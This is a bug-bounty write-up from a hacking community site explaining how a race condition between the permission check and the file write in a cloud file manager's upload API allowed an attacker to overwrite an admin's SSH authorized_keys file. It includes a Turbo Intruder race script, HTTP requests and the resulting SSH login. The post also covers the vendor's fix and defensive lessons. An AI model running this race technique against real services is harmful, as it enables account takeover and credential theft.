skip to main content
hacking.communityplay in the sandbox.
← news & articles
writeup ai-assistedreviewed by Prakash Shinde

Racing to Root: How I Exploited a TOCTOU Bug in a Cloud File Manager

A seemingly innocuous file upload feature turned into a full account takeover when I discovered the permission check and file write operation weren't atomic—classic TOCTOU strikes again.

Prakash Shinde·8/28/2026·33 views·
Racing to Root: How I Exploited a TOCTOU Bug in a Cloud File Manager — hacking.community
0

Recon

I was testing a SaaS platform that offered a collaborative file management system, similar to Dropbox but aimed at enterprise customers. The application had the usual features: upload files, share folders, manage permissions. After creating two accounts—a regular user and an admin—I started poking around the file upload functionality.

The upload flow was interesting. Files were uploaded via a multipart POST to /api/v2/files/upload, which returned a temporary file ID. A second request to /api/v2/files/confirm would then move the file from a staging area to its final location based on the user's permissions.

http
POST /api/v2/files/upload HTTP/1.1 Host: target.com Authorization: Bearer <user_token> Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="test.txt" test content ------WebKitFormBoundary--

Response:

json
{"temp_id": "tmp_a1b2c3d4", "status": "staged"}

Discovery

The second endpoint was where things got interesting:

http
POST /api/v2/files/confirm HTTP/1.1 Host: target.com Authorization: Bearer <user_token> Content-Type: application/json {"temp_id": "tmp_a1b2c3d4", "target_path": "/users/myuser/documents/test.txt"}

I noticed I could specify any target_path. My first thought was path traversal, but the API properly validated that I could only write to paths under /users/myuser/. Fair enough.

But then I wondered: what if the permission check and the file write weren't atomic? I fired up Burp's Turbo Intruder and wrote a script to send two /confirm requests simultaneously—one to a valid path in my directory, and another to /users/admin/.ssh/authorized_keys.

python
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=2, requestsPerConnection=1, pipeline=False) # Request 1: Valid path (passes permission check) request1 = '''POST /api/v2/files/confirm HTTP/1.1 Host: target.com Authorization: Bearer <user_token> Content-Type: application/json {"temp_id": "tmp_a1b2c3d4", "target_path": "/users/myuser/test.txt"}''' # Request 2: Admin path (should fail, but...) request2 = '''POST /api/v2/files/confirm HTTP/1.1 Host: target.com Authorization: Bearer <user_token> Content-Type: application/json {"temp_id": "tmp_a1b2c3d4", "target_path": "/users/admin/.ssh/authorized_keys"}''' # Send simultaneously engine.queue(request1, gate='race1') engine.queue(request2, gate='race1') engine.openGate('race1')

Exploitation

On my third attempt, both requests returned HTTP 200. That shouldn't happen—only one file write should succeed. I logged into the admin account (which I controlled for testing) and checked .ssh/authorized_keys. My SSH public key was there.

The AHA moment: The application was checking permissions, seeing the first request was valid, then processing both file writes from a shared temp file. The backend code probably looked something like:

python
# Vulnerable pseudo-code def confirm_upload(temp_id, target_path, user): if not user.can_write(target_path): return {"error": "Permission denied"} # Race window here! time.sleep(0.01) # Database lookup, etc. temp_file = get_temp_file(temp_id) copy_file(temp_file, target_path) return {"success": True}

Because the permission check and file write weren't wrapped in a transaction or lock, the race condition allowed both requests to pass the permission check before either completed the write.

I generated an SSH keypair, uploaded my public key via the race condition to /users/admin/.ssh/authorized_keys, and was able to SSH into the admin's cloud workspace container:

bash
ssh -i my_key admin@workspace.target.com admin@workspace:~$ id uid=1001(admin) gid=1001(admin) groups=1001(admin),27(sudo)

Full admin access to the workspace filesystem, including environment variables with AWS credentials, database connection strings, and API keys for third-party services.

Impact

This TOCTOU (Time-Of-Check-Time-Of-Use) vulnerability allowed any authenticated user to:

  1. Write arbitrary files to any user's directory
  2. Overwrite SSH authorized_keys for workspace access
  3. Steal credentials and secrets from admin workspaces
  4. Achieve lateral movement to connected cloud resources

The vendor confirmed the bug, patched within 48 hours by adding proper file locking, and awarded a $12,500 bounty.

Lessons

Race conditions are real. Modern frameworks and async operations make TOCTOU bugs easier to introduce than ever. Any operation that checks state and then acts on that state needs to be atomic—use database transactions, file locks, or distributed locks (Redis, etc.).

Think about concurrency. When testing, always ask: "What happens if I send this twice at the exact same time?" Tools like Turbo Intruder make this trivial to test.

Defense in depth matters. Even if the upload feature had been secure, storing AWS credentials in plaintext in workspace containers is asking for trouble. Principle of least privilege and proper secrets management would have limited the impact.

Comments (0)

Sign in to join the discussion.

// go deeper

// install app

Install hacking.community for fast access, offline reading, and push notifications. No app store needed.